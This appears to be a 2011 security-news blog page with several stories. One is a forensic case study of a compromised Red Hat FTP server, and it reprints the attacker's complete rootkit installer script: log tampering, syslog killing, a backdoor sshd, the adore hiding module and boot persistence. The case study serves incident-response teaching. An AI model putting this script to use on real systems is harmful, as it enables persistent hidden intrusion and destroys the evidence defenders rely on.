STE WILLIAMS

Sophos Buys Astaro

UK-based net security firm Sophos is getting into the hardware game with the purchase of all-in-one security appliance firm Astaro. Terms of the deal to acquire privately held Astaro, announced Friday, were not disclosed.

Astaro, with $56m in billings during 2010, is the fourth largest dedicated unified threat management (UTM) provider.

UTM technology offers firewall, intrusion prevention, URL blocking and other functions all in one network security appliance. The approach is designed to make security easier to manage and is typically targeted towards the needs of SMEs and the branch offices of larger corporates.

Sophos said it wanted to offer its existing anti-malware and data protection software alongside Astaro’s appliances. Around 220 people work in Astaro’s offices in Wilmington, Massachusetts, USA and Karlsruhe, Germany. The Massachusetts office is close to Sophos’s US office in Boston, which these days acts as the marketing hub for the firm, which specialises in delivering security products to business

  • 06/05/2011
  • adm

Websites should notify European users about privacy breaches

Europe-wide laws which require telecommunications companies to notify users if their data is at risk should be extended, the European justice commissioner has said.

Privacy rules created under the EU’s Electronic Communications Framework should be extended to cover online banking, video games, shopping and social media, Viviane Reding said in a speech (in German).

Current rules, which are being implemented in the UK as part of amendments to the Privacy and Electronic Communications Regulations, require telecommunications companies and internet service providers to notify their customers and national regulators of personal data breaches immediately.

“I think it is important that users are notified if someone has unlawful access to their data,” Reding said. “It is essential for consumer confidence that they know what happens to their data.”

Reding said that in the upcoming review of data protection laws in Europe she would investigate the extension of the data breach notification process to more than just telecoms companies.

Addressing German privacy experts, including Germany’s Data Protection Commissioner Peter Schaar, at a discussion in Brussels, Reding expressed her concern at a “veritable wave” of data-security incidents over the last two weeks.

Her comments came shortly after Sony apologised for a security breach involving 77 million PlayStation Network account holders, and a week after Apple said that it would update the software that logs the location of users of its mobile devices.

She spoke of five cornerstones to solid data protection laws to restore consumer confidence: the right to be forgotten, data transparency, corporate responsibility, independent data monitoring systems and “privacy by design” – ensuring that data protection safeguards are built into information systems from the start.

In her speech, Reding said that she could understand if Apple and Sony had eroded “the trust of our citizens” in technology in the face of the high-profile data security lapses.

This trust had to be reinstated, she said, through good legislation, independent data protection authorities and responsible company policy.

She stressed the importance of letting customers know immediately when their personal data had been put at risk. “Seven days is much too long,” she said, referring to the delay between when Sony’s security breach occurred – between 17 and 19 April – and when the company notified its customers on 26 April.

She urged that new EU data protection laws must be “clear and legible” and meet “current and likely future challenges” to the fundamental right to privacy.

“A social network with more than 200 million users in the EU must stick to EU law, even if it is based in the US and its data is stored in a so-called cloud,” she said.

“European citizens care deeply about protecting their privacy and data protection rights,” she added in a later statement to the International Herald Tribune.

“Any company operating in the EU market or in any online product that is targeted at EU consumers should comply with EU rules.”



  • 06/05/2011
  • adm

European Space Agency Plays Down Hack

The European Space Agency has confirmed that a hacker breached its network over the weekend, while playing down the significance of the hack.

TinKode posted admin, content management and file upload (FTP) login credentials on Sunday after pulling off the attack on the space agency. The hacker also posted Apache server configuration files.

However, the servers hit by the hack included less sensitive systems involved in sharing scientific data between the ESA and its partners, an ESA spokesman explained. “The main website was not affected and this has had no effect at all on our internal network,” he told El Reg.

The ESA has responded to the attack by taking its FTP servers offline and resetting all login credentials. Users have been informed of the incident, a necessary step, especially if some are making the mistake of using the same user name and password combination over multiple sites.

The file transfer servers affected by the hack were involved in the exchange of astronomical data, such as satellite-source ice-shelf thickness readings. “Although this breach affected only publicly available FTP servers, it’s not good that it happened and we’ll be tightening up security,” the ESA spokesman explained.

The servers will not go online again until security checks are completed, a process likely to take “some days”. Meanwhile, the scientific work of the agency will continue, largely unaffected by the assault.

The ESA is withholding details on how the attack was carried out. The motive behind the attack also remains unclear, although claiming bragging rights seems the most likely explanation. TinKode previously mounted a similar attack against Royal Navy systems last year.

The space agency said the hacker had not contacted it either before or since the attack

  • 19/04/2011
  • adm

Leaked US cables finger Chinese army hackers for cyber-spying

Leaked US diplomatic cables have provided some of the first hard evidence that the US is engaged in a heated cyberespionage battle with China, a conflict diplomats reckon is showing few signs of cooling off.

Diplomatic cables, obtained by WikiLeaks and released to the media by a third party last week, trace a series of breaches codenamed Byzantine Hades back to a specific unit of China’s People’s Liberation Army.

Websites associated with attacks dating back to 2006 were registered using the same postal code in the central Chinese town of Chengdu that is used by the People’s Liberation Army Chengdu Province First Technical Reconnaissance Bureau (TRB), an electronic espionage unit.

At least six such bureaus, including the Chengdu unit, “are likely focused on defines or exploitation of foreign networks”, according to a report by officials in the State Department’s Cyber Threat Analysis Division and quoted in the leaked cable, which was written in April 2009.

The Byzantine Hades attacks, which ran from 2006 through till at least October 2008 – and are possibly still ongoing – used targeted emails that attempted to trick recipients into opening booby-trapped attachments. Common malware payloads involved the so-called Gh0stNet Remote Access Tool (RAT), a strain of malware capable of capturing keystrokes, taking screen shots, installing and changing files, and even surreptitiously recording conversations before uploading them to a remote server, Reuters reports.

Servers used in the exercise were the same as those previously linked to attacks on Tibetan websites around the time of the Beijing Olympics in 2008.

The cable reports claim that a Shanghai-based hacker group linked to the People’s Liberation Army’s Third Department was involved in the assaults. The leaked cable names a hacker named Yinan Peng from a group called Javaphile as among those involved in the assaults.

Both US government agencies and private sector firms became victims of the attacks.

Hackers successfully swiped “50 megabytes of email messages and attached documents, as well as a complete list of usernames and passwords from an unspecified [US government] agency,” the cable said.

Other targets of the assaults include the US Embassy in Tokyo, Japan. The cable quotes a meeting at the Ramstein Air Base in September 2008 when German and French officials told their US opposite numbers that they had also been hit by cyber-espionage attacks.

The leaked cable was written months before China went public over hack attacks against the US search giant and other high-tech firms that were creating diplomatic tension between the US and China. The cable speaks of a series of diplomatic meetings between US and Chinese officials. US diplomats seem fairly sure that the Chinese are behind the attacks, whose main motive seems to be to steal trade secrets that might be used to sustain China’s economic growth. The talks reportedly remain ongoing, even though progress remains slow.

Chinese officials are seemingly happy enough to assure the US that they have no interest in destabilising the US economy – as a major stockholder such actions would be counterproductive – but clam up when talk turns to cyber-espionage. Senior figures in the government, when pressed on the issue, are inclined to state that China is being spied upon more than it is spying on others

  • 19/04/2011
  • adm

Ethical Hackers Kick A Whole In Microsoft Security Shield

In late December, Microsoft researchers responding to publicly posted attack code that exploited a vulnerability in the FTP service of IIS told users it wasn’t much of a threat because the worst it probably could do was crash the application.

Thanks at least in part to security mitigations added to recent operating systems, attackers targeting the heap-overrun flaw had no way to control data that got overwritten in memory, IIS Security Program Manager Nazim Lala blogged. It was another victory for Microsoft’s defense-in-depth approach to code development, which aims to make exploitation harder by adding multiple security layers.

However, it turned out that wasn’t the case. White-hat hackers Chris Valasek and Ryan Smith of security firm Accuvant Labs soon posted screenshots showing they had no trouble accessing parts of memory in the targeted machine that the protection – known as heap exploitation mitigation – should have made off limits. With that hurdle cleared, they had shown the IIS zero-day bug was much more serious than Microsoft’s initial analysis had let on.

“The point was proven that you could actually start to execute code, as opposed to them saying: ‘Don’t worry about it. It can only crash your server’,” Valasek, who is a senior research scientist for Accuvant, told The Register.

Up until now, their technique for bypassing the heap protection has been a mystery outside of a small circle of researchers. On Saturday, Valasek and Smith, the latter who is Accuvant’s chief research scientist, shared their secret at the Infiltrate security conference in Miami Beach.

Heap-exploitation mitigation made its Microsoft debut in Service Pack 2 of Windows XP, and has since been refined in later OSes. It works by detecting memory that’s been corrupted by heap overflows, and then terminating the underlying process. The technology was a significant advance for Microsoft. Practically overnight, an entire class of vulnerabilities that once allowed attackers to take full control of the targeted operating system were wiped out.

Running on the newer operating systems, the same exploits could do nothing more than crash the buggy application.

Valasek and Smith were able to bypass the mitigation because Microsoft’s reworked heap design also included a new feature known as LFH, or low fragmentation heap, which aims to improve speed and performance by providing a new way to point applications to free locations of memory. And for reasons that remain unclear, the new feature didn’t make use of the heap-exploitation mitigations.

“They opened up a new path for attackers, so it was great for attackers but bad for the end user,” Smith said. “The back door is locked, so we go in the front door.”

The LFH isn’t turned on by default, and it turns out that it often requires a lot of work for an attacker to enable it. In the case of December’s IIS vulnerability, they turned it on by invoking several FTP commands in a particular way. With that out of the way, they had no trouble controlling the memory locations on the targeted machine.

Valasek and Smith are quick to point out that bypassing the mitigations requires considerably more effort and skill on the part of the attacker. Five or 10 years ago, it was frequently possible for exploit developers to recycle huge amounts of code when writing a new script. That’s not the case now.

“Unlike other exploitation techniques of the past, you need to know more about the underlying operating system and the application that’s being run to figure out how to enable [LFH] and how to use it to your advantage,” Valasek said. “You can’t blindly go about your business.”

The talk is the latest reminder of the spy-versus-spy nature of security work, in which new protections developed by whitehats are constantly being defeated by blackhats, which then requires whitehats to come up with still newer protections. Researchers have similarly figured out ways to bypass other security mitigations, with techniques such as “JIT-spraying” for address space layout randomization and return oriented programming for data-execution prevention.

Still, the researchers said the mitigations are an essential part of software development – as long as engineers recognize their inherent limitations and don’t become complacent.

“As long as the mitigations are there to protect the end user and not to protect the company from having to patch, then they’re a good thing because it does make the job harder,” Smith said. “It’s a way to buy time.

  • 19/04/2011
  • adm

Case Study : Exploited FTP Vulnerability

Case Study Introduction

This is a case study of a medium-sized computer hardware online retailer that understands the value of network and host security, since its business depends upon reliable and secure online transactions. Its internal network and DMZ setup was designed with security in mind, verified by outside experts, protected by latest in security technology and monitored using advanced audit trail aggregation tools. Following the philosophy of defense-in depth, two different firewalls and two different intrusion detection systems were used. The DMZ setup was of the bastion network type with one firewall separating the DMZ from the hostile Internet and another protecting internal networks from DMZ and Internet attacks. Two network IDS were sniffing the DMZ traffic. In the DMZ the company has gathered the standard set of network servers (all running some version of UNIX or Linux): web, email, DNS servers and also a dedicated FTP server, used to distribute hardware drivers for the company inventory. The FTP server, running Red Hat 7.2, is the subject of this account. This server was the latest addition to the company network.

Let’s shed some more light on the DMZ setup, since it provides an explanation why the attack went the way it did. Outside firewall (Firewall 1 on the picture) provided NAT services and only allowed access to a single port on each of the DMZ hosts. Evidently, those were TCP port 80 on web server, TCP port 25 on the mail server, TCP and UDP ports 52 on DNS server and TCP ports 21 and 20 on the ftp server. No connections to outside machines were allowed from any DMZ machine. Internal firewall blocked all connections from the DMZ to internal LAN (no exceptions) and allowed connections that originated from the internal LAN to DMZ machines (only specified ports for management and configuration). The second firewall (Firewall 2 on the diagram) also worked as application-level proxy for web and other traffic (no direct connections to the Internet from internal LAN were allowed). In addition, each DMZ machine was hardened and ran a host-based firewall, only allowing connections on a single specified port (two for the FTP) as mentioned above from outside and NOT from other DMZ machines. While it is unwise to claim that their infrastructure was unassailable, it is quite reasonable to say that it was “better than most”.

On Monday morning, company support team was alerted by a customer who was trying to download a drive update. He reported that FTP server “was not responding” to his connection attempts. Upon failing to login to FTP server remotely via secure shell, the support team member walked to a server room only to discover that the machine crashed and is not able to boot. The reason was simple – no operating system was found.

At that point, their incident response plan was triggered into action. Since FTP server was not of critical business value, it was decided to complete investigation before redeploying the server and to utilize other channels for software distribution temporarily. The primary purpose of investigation was to learn about the attack in order to secure the server against recurrence. The secondary focus was to trace the actions of the attacker.

 

Diagnosing the Evidence

The main piece of evidence for my investigation was a 20 GB disk drive. No live forensics was possible since the machine crashed when running unattended. In addition, we had a set of log files from firewall and IDS, all nicely aggregated by netForensics (http://www.netForensics.com) software.

The investigation started from reviewing the traffic patterns. The thing that attracted the most attention was an IDS report with 3 high priority events – recent WU-FTP attack at about 02:29 on April 1. It appears that IDS signature base was updated with the new attack signatures, while the company FTP server FTP daemon software was not. Considering the above network infrastructures, we hoped there will be no more unpleasant security surprises. There were: syslog on the FTP server was not set for remote logging. Thus, no first hand attack information was available from the FTP server itself.

By analyzing the connection data from the machine that launched an attack, it was found that:

  1. The intruder probed the Example.com outside visible IP addresses at least several hours prior to the incident. 
  2. Upon compromising the FTP server, the intruder tried to connect to other DMZ hosts and to some machines on the outside. All such attempts were unsuccessful. 
  3. The attacker has uploaded a file to the FTP server. 

The last item was another unpleasant surprise. How attacker was able to upload the file? The company system admin team was questioned and the unpleasant truth came out: the FTP server had a world-writable directory for customers to upload the log files used for hardware troubleshooting. Unrestricted anonymous uploads were possible to the “incoming” directory and it was set up in the most insecure manner possible: anonymous users were able to read any of the files uploaded by other people. Among other things, this presents a risk of FTP server being used to store pirated software by outside parties.

After network analysis part (it was easy due to netForensics advanced data correlation capabilities) is was time for a hard drive forensics. The disk was found to contain three partitions, “/”, “/usr” and “/home”. After the disk was connected to a forensics workstation, images of all partitions were taken:

 

# dd if=/dev/hdc1 of=/home/hacked-ftp-hdc1

(and same for the two other partitions)

Upon mounting the partitions

 

# mount -o ro,loop,noatime /home/hacked-ftp-hdc1 /mnt/hf-hdc1

it was found that all files were deleted.

Then, it was decided to look for fragments of log files (originally in /var/log) to confirm the nature of attack. The command:

 

# strings /home/hacked-ftp-hdc1 | grep 'Apr  1'

took a while to run on a 2GB partition. It returned the following log fragments from the system messages log, the network access log and the FTP transfer log (fortunately, FTP server was using verbose logging of all transfers):

System log:

 

Apr  1 00:08:25 ftp ftpd[27651]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 
[192.1.2.3], mozilla@
Apr  1 00:17:19 ftp ftpd[27649]: lost connection to 192.1.2.3 [192.1.2.3]
Apr  1 00:17:19 ftp ftpd[27649]: FTP session closed
Apr  1 02:21:57 ftp ftpd[27703]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 
[192.1.2.3], mozilla@
Apr  1 02:26:13 ftp ftpd[27722]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 
[192.1.2.3], mozilla@
Apr  1 02:29:45 ftp ftpd[27731]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 
[192.1.2.3], x@
Apr  1 02:30:04 ftp ftpd[27731]: Can't connect to a mailserver.
Apr  1 02:30:07 ftp ftpd[27731]: FTP session closed

It indicates that attacker was first looking around with a browser (standard password mozilla@). Then supposedly the exploit was run (password x@). The line about mailserver looks really ominous.

 

Apr  1 00:17:23 ftp xinetd[921]: START: ftp pid=27672 from=192.1.2.3
Apr  1 02:20:18 ftp xinetd[921]: START: ftp pid=27692 from=192.1.2.3
Apr  1 02:20:38 ftp xinetd[921]: EXIT: ftp pid=27672 duration=195(sec)
Apr  1 02:21:57 ftp xinetd[921]: START: ftp pid=27703 from=192.1.2.3
Apr  1 02:21:59 ftp xinetd[921]: EXIT: ftp pid=27692 duration=101(sec)
Apr  1 02:26:12 ftp xinetd[921]: EXIT: ftp pid=27703 duration=255(sec)
Apr  1 02:26:13 ftp xinetd[921]: START: ftp pid=27722 from=192.1.2.3
Apr  1 02:29:40 ftp xinetd[921]: START: ftp pid=27731 from=192.1.2.3
Apr  1 02:30:07 ftp xinetd[921]: EXIT: ftp pid=27731 duration=27(sec)

The above log excerpt shows that attacker has spent some time snooping around the ftp server directories.

 

Mon Apr  1 02:30:04 2002 2 192.1.2.3 262924 
   /ftpdata/incoming/mount.tar.gz b _ i a x@ ftp 0 * c

That shows the upload of some tools. All downloads initiated from the FTP server to the attacker’s machine have failed due to rules on the company outside firewall. But by that time the attacker already had a root shell from the exploit.

Initial Conclusions

Two conclusions can be drawn from the above data. First, the server was indeed compromised from outside the perimeter, using the recent FTP exploit (see http://online.securityfocus.com/bid/3581 andhttp://www.cert.org/advisories/CA-2001-33.html for more details) using a machine at 192.1.2.3 (address sanitized!). Second, the attacker managed to get some files onto the victim host.

 

Tracking the Rootkit

We suspected that the file “mount.tar.gz” contained a rootkit. We were interested whether the attacker managed to install it and what was the tool functionality. Thus the hunt for the rootkit began.

Before sending the heavyweights (i.e. forensics toolkits) into battle, the strings file (i.e. the output of “strings /home/hacked-ftp-hdc1”) was grepped for various interesting words. Another productive way to find stuff (text-only) is to load the entire strings output in your favorite UNIX pager program (such as “less”) and then look for interesting keywords. The latter method allows one to look at strings that surround the interesting one.

The apparent search keywords were “mount.tar.gz”, attacker’s IP address (192.1.2.3), “incoming” (for the path name to the FTP directory) and some others.

The next piece of evidence that surfaced was a ncftp log fragment. NcFtp is a UNIX/Linux FTP client, that preserves its own log file of outbound connections for the purposes of bookmarking them for easy return.

 

SESSION STARTED at:  Mon Apr  1 02:21:17 2002
   Program Version:  NcFTP 3.0.3/635 April 15 2001, 05:49 PM
   Library Version:  LibNcFTP 3.0.6 (April 14, 2001)
        Process ID:  27702
          Platform:  linux-x86
             Uname:  Linux|ftp|2.4.7-10|#1 Thu Sep 6 17:27:27 EDT 2001|i686
          Hostname:  localhost.localdomain  (rc=4)
          Terminal:  dumb
00:21:17  Resolving 192.1.2.3...
00:21:17  Connecting to 192.1.2.3...
00:21:17  Could not connect to 192.1.2.3: Connection refused.
00:21:17  Sleeping 20 seconds.

There were several of those messages, indicative of several failed connection attempts. netForensics network traffic data also shows the attacker trying to ping the outside hosts (also unsuccessful).

Next keyword search in strings output brought much larger fish – a list of files in rootkit and its installation script. Unfortunately, it turned out to be the high point of the investigation.

 

Evaluating the Rootkit

List of rootkit files:

 

  • a.sh
  • adore-0.42.tar.gz
  • sshutils.tar.gz
  • utils.tar.gz

Below, we provide a complete rootkit installation script with added comments (likely, a.sh from the above list):

#!/bin/sh
# seting paths
PATH=".:~/bin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11/bin:/opt/bin:
/usr/local/sbin:/usr/local/bin:/usr/local/kde/bin:/usr/local/mysql/bin:
/opt/gnome/bin"

Make sure that history file in shell in not written:

# unseting the histifle
unset HISTFILE
export HISTFILE=/dev/null

Prepare for installation:

# making the directories
echo "[Facem directoarele]"
uname -r |awk '{print $1}'|while read input ;\
do mkdir /lib/modules/$input/.modinfo ; done
sleep 1
if [ -d /etc/sysconfig/console ];then
        echo "Dir found"
        else
        mkdir /etc/sysconfig/console
        echo "/etc/sysconfig/console created"
if [ -d /usr/info/.1 ];then
        echo "Dir found"
        else
        mkdir /usr/info/.1
        echo "files dir created"
sleep 1

Unpack all components. The word below means “unarchiving” in Romanian:

# dezarhivam
echo "[dezarhivam]"
tar zxvf adore-0.42.tar.gz
sleep 3
tar zxvf sshutils.tar.gz
sleep 3
tar zxvf utils.tar.gz

The section below makes sure that logs are not written by killing the daemon and making the log files immutable by setting the file attribute.

# read only logs until we finish
chattr +ia /var/log/messages
chattr +ia /varlog/secure
chattr +ia /var/log/maillog
chattr +ia /root/.bash_history
#killing syslogs
killall -9 syslogd
killall -9 klogd

The section below deploys and starts backdoor sshd daemon.

#copying ssh files/confs
echo "[SSH part]"
cd ../sshutils
mv .napdf /etc/sysconfig/console/
mv .racd /etc/sysconfig/console/
mv .radd /etc/sysconfig/console/
mv .seedcf /etc/sysconfig/console/
mv nscd /usr/local/bin
chown root.root /usr/local/bin/nscd
cd /tmp/mount
# starting ssh
/usr/local/bin/nscd -q

The adore Linux kernel module is deployed to hide malicious hacker resources.

#kernel module 
cd /tmp/mount/adore
./configure
make
sleep 27
#copiem modulele
uname -r |awk '{print $1}'|while read input ;do cp adore.o 
/lib/modules/$input/.modinfo/arpd.o;done
uname -r |awk '{print $1}'|while read input ;do cp cleaner.o 
/lib/modules/$input/.modinfo/arpd-use.o;done
uname -r |awk '{print $1}'|while read input ;do cp ava 
/lib/modules/$input/.modinfo/a;done
#inseram modulele
uname -r |awk '{print $1}'|while read input ;do /sbin/insmod 
/lib/modules/$input/.modinfo/arpd.o;done
uname -r |awk '{print $1}'|while read input ;do /sbin/insmod 
/lib/modules/$input/.modinfo/arpd-use.o;done
#hiding directories
uname -r |awk '{print $1}'|while read input ;do 
/lib/modules/$input/.modinfo/a h /etc/sysconfig/console;doneuname -r |\
awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h 
/usr/info/.1;done
uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a
i `cat /etc/sysconfig/console/.piddr`;done

Create a boot-up script and (for unclear reason) updating file locations for search (updatedb).

# utils
# copiing boot file
cd /tmp/mount
cp randoms /etc/rc.d/init.d/
# next faze
updatedb&
sleep 1
cd /root
chattr +ia .bash_history

Denial of service tools are deployed next. Hey, you never know what might lurk in the cyberworld… Some tools were not identified (e.g. fsch2).

cd /tmp/mount/utils
mv fsch2 /etc/cron.daily/
mv imp /usr/info/.1
mv slc /usr/info/.1
mv lil /usr/info/.1
mv sense /usr/info/.1

Make sure adore and backdoor sshd are started on bootup.

# sys configs 
echo "/usr/local/bin/nscd -q" >>/etc/rc.d/rc.sysinit
echo "/etc/rc.d/init.d/randoms >/dev/null &" >>/etc/rc.d/rc.sysinit

Next, remove evidence and put the logs back to normal.

chattr +ia /etc/rc.d/rc.sysinit
#ending
uname -r |awk '{print $1}'|while read input ; \
	do /lib/modules/$input/.modinfo/a u /tmp/mount/adore;done
rm -rf /tmp/mount*
/etc/rc.d/init.d/syslog start &
sleep 5 
chattr -ia /var/log/messages
chattr -ia /var/log/secure
chattr -ia /var/log/maillog
echo "DONE"

It is worthwhile to note, that comments within the rootkit installation script are in Romanian. For whatever reason, several of other known rootkits are also of Romanian origin (e.g.http://project.honeynet.org/scans/scan18/som/som10.txt).

Next section of strings file contained more scriptlets used by the rootkit, headers from some denial of service tools (imp flooder, slice DoS tool, look them up at packetstorm), parser for LinSniffer logs (another old favorite of script kiddies) and a hunk of adore LKM source code with author’s headers intact. In addition, a fragment of what appears to be a SSH backdoor configuration file was found. Overall, it turned out to be a pretty low-tech rootkit, using only publicly available components.

The next goal was to recover all of the rootkit files. While none of the components appear to use new penetration technology, it is still of interest. For example, usage of kernel-level backdoor (adore) is a mainstream rootkit shows that casual system administrators will likely miss it on their systems.

Utilizing Forensics Tools

Coroner’s toolkit tct (see http://www.fish.com/tct/ and http://www.porcupine.org/forensics/tct.html) was then used to look for the rootkit. We also tried using recently released computer forensics toolkit – TASK by Brian Carrier from @Stake. TASK is an improvement over tct since it integrates tct-utils (that can be used to built better malicious activity timeline) with core tct functionality. TASK also integrates with “autopsy” forensic browser to provide a nice interface for file browsing, recovery and timeline creation on multiple disk images.

Unfortunately, most of the tct and TASK toolkits functionality will not work on a Red Hat 7.2 machine. Due to certain changes in filesystem code, the inode data (that was used to recover deleted files) is now zeroed out. The tips from Linux Undeletion HOWTO (http://www.praeclarus.demon.co.uk/tech/e2-undel/html/) and tools like recover (http://recover.sourceforge.net/linux/recover/), e2undel (http://e2undel.sourceforge.net/) based on the above HOWTO will all fail to recover a single file. Excellent utilities were rendered unusable. However, it is not a bad thing for many people, computer forensic examiners excluded, since deleted data should probably stay deleted.

Fortunately, the tct kit also implements a more painful way to recover the files – but it will work on Red Hat 7.2 with zeroed inodes. Unrm/lazarus tool provides a good chance to recover at least something. Lazarus looks at all the disk blocks, determines their type (such as text, email, C code, binary, archive or something else) using UNIX “file” command. It also concatenates consecutive blocks of the same type together, assuming that they are pieces of the same file. This algorithm will most likely to bring back text data than binary data though.

To run the tool, one first need to create a file containing all the unallocated space from the partition:

./tct-1.09/bin/unrm /home/hacked-ftp-hdc1 >\
	 /home/hacked-ftp-hdc1.unrm

Then lazarus tool is then run:

./tct-1.09/lazarus/lazarus /home/hacked-ftp-hdc1.unrm

It takes several hours to process the 2GB partition. As a result, two directories are formed: “blocks” contains the recovered files (or just blocks) “www” contains a HTML map of all the recovered files (if desired, the output can be looked at with a browser).

In our investigation we were looking for an archive containing the rootkit or any of its components. There are many ways to analyze the “blocks” directory (all are slow, some are excruciatingly slow). To look for gzip-compressed files we do:

# find blocks -type f -print | xargs file {} |\
	 grep gzip > /home/hacked-ftp-hdc1.blocks-gzipped

Since we also know the size of the rootkit (reported in the above fragment of the FTP transfer log).

# awk -F ':' '{print $1}'  /home/hacked-ftp-hdc1.blocks-gzipped |\
	 xargs -i ls -l {}

Unfortunately, nothing was found. More data slicing and dicing follows, also with zero results. For example, below we show an attempt to find more C source files:

# find blocks -type f -print | xargs file {} | grep 'C program text'

Nothing related to the incident is found by this and other commands.

As a last resort, an even newer forensics tool called “foremost” was used. It was recently released [reportedly] by USAF Office of Special Investigations. “Foremost” uses customizable binary data signatures to look for files within the disk image file. I created a signature for the tool to look for GNU gzip archives since the rootkit and its components (shown above) were all gzipped tar archives. The USAF tool brilliantly did its job where TCT failed!

Two of the rootkit components were recovered (adore.tar.gz and utils.tar.gz). Adore kit contained a standard adore LKM v.0.42 (as distributed by TESO). Utils package contained the following five binaries:

-rw-r--r--    1 root     root        14495 Jan 22 23:37 fsch2
-rwxr-xr-x    1 root     root         8368 Aug  7  2000 imp
-rwxr-xr-x    1 root     root         7389 Jan 15  2001 lil
-rwxr-xr-x    1 root     root         4060 Jun 25  2000 sense
-rwxr-xr-x    1 root     root        15816 Oct 13  2000 slc

Imp and slc were identified above as DoS tools. Lil turned out to be a sniffer. Its string output matched the one shown on the http://project.honeynet.org/papers/enemy3/. Sense was the Perl parser for sniffer output (also found earlier from strings of the whole disk image). Fsch2 remains a mystery. In the rootkit installation file it is set to run daily from cron. It has strings indicative of network connectivity (socket, bind, listen, accept, etc), the ever-ominous /bin/sh and the string that looks like a password. It might be some sort of network backdoor.

At that point, investigation was closed. Attacker’s ISP was notified, and no action was taken by them (normal practice). Just one of those throw-away dial-up accounts… In the second part of the article, we will discuss the security lessons this incident teaches us.

  • 11/04/2011
  • adm

BA Would-Be Bomber Relied on 2,000 Year Old Encryption

An IT worker from British Airways jailed for 30 years for terrorism offences used encryption techniques that pre-date the birth of Jesus.

Rajib Karim, 31, from Newcastle, was found guilty of attempting to use his job at BA to plot a terrorist attack at the behest of Yemen-based radical cleric Anwar al-Awlaki, a leader of al-Qaeda in the Arabian Peninsular.

Sentencing him at Woolwich Crown Court last week, Justice Calvert-Smith described Karim as a “committed jihadist” who responded “enthusiastically” towards plans to smuggle a bomb onto a plane or damage BA’s IT systems.

Justice Calvert-Smith praised police for being able to decipher incriminating documents under “five or more layers of protection”, the Daily Telegraph reports.

However, claims by the prosecution that the coding and encryption systems were the most sophisticated ever seen in use were overstated – by more than 2,000 years.

Woolwich Crown Court was told that Bangladeshi Islamic activists who were in touch with Karim had rejected the use of common modern systems such as PGP or TrueCrypt in favour of a system which used Excel transposition tables, which they had invented themselves.

But the underlying code system they used predated Excel by two millennia. The single-letter substitution cipher they used was invented by the ancient Greeks and had been used and described by Julius Caesar in 55BC.

Karim, an IT specialist, had used PGP, but for storage only.

Despite urging by the Yemen-based al Qaida leader Anwar Al Anlaki, Karim also rejected the use of a sophisticated code program called “Mujhaddin Secrets”, which implements all the AES candidate cyphers, “because ‘kaffirs’, or non-believers, know about it so it must be less secure”.

The majority of the communications that formed the basis of the case against Karim, which claimed to warn of a possible terrorist plot in the making, were exchanged using the Excel spreadsheet technique, according to the prosecution.

Writer Duncan Campbell, who acted as an expert witness for the defence during the trial, said: “Tough communication interception laws [RIPA] were passed in the UK 10 years ago on the basis that they were needed to fight terrorism. Ludicrous articles were published then about the alleged sophistication of their methods.

“The case just dealt with shows where we have got to in the real world. The level of cryptography they used was not even up to the standards of cryptology and cryptography in the Middle Ages, although they made it look pretty using Excel.

Dutch Courts Rule WiFi Network Hacking Is Not a Crime

A Dutch court has ruled that hacking into Wi-Fi connections is not a crime providing any connected computers remain untouched. However Wi-Fi freeloaders would still lay themselves open to civil proceedings.

The unusual ruling came in the case of a student who threatened a shooting rampage against staff at students at Maerlant College in The Hague. The threat was posted on 4chan, the notoriously anarchic internet image board, after the student broke into a secure Wi-Fi connection. The unnamed student was caught and convicted of posting the message but acquitted on the hacking charge.

The miscreant was sentenced to 120 hours of community service.

Reports are vague on how the student hacker was tracked down, but it may well be that the denizens of 4chan got the ball rolling by reporting the threats to police, something that happened in a similar school massacre threat case in Michigan back in February.

The Netherlands has a computer hacking law that dates from the early 1990s and defines a computer as a machine involved in the “storage, processing and transmission of data”. Since a router is not used to store data, a judge reasoned, it fails to qualify as a computer – and thus the computer hacking law isn’t applicable. The ruling, which surprised legal observers in The Netherlands, means that piggy-backing (or leeching) open wireless networks is not a crime: though civil proceedings against leechers would still be possible, so a free-for-all is unlikely.

Most countries have laws the apply to hacking into computer networks as well as computers but not, it would seem, The Netherlands. The Dutch attorney general has decided to appeal the verdict in the case, a process that may take several months

Renault Security Boss Arrested

Renault has apologised to the three senior executives from its electric vehicle division who were sacked and accused of spying for China.

The carmaker’s security boss was arrested as he boarded a plane for West Africa. He is under judicial investigation for alleged organised fraud.

Paranoid bosses at Renault have now pledged to restore the “honour” of the three men it accused of spying. The three, who were suspended by Renault after the accusation, were Michel Balthazard, director of advanced engineering; Bertrand Rochette; and Matthieu Tenenbaum, deputy director of the electric cars division, the BBC reports. (more…)

  • 15/03/2011
  • adm

Legally binding e-documents: Germany pushes secure email

Germany is putting its legislative and industrial muscle behind a new secure email system, dubbed De-mail, that aims to become an alternative to conventional paper documents for legally binding transactions.

The service earned a prominent place at the opening of the CeBIT trade show in Hanover at the same time as legislation to make electronic correspondence using such services legally binding is winding its way through the German houses of parliament. (more…)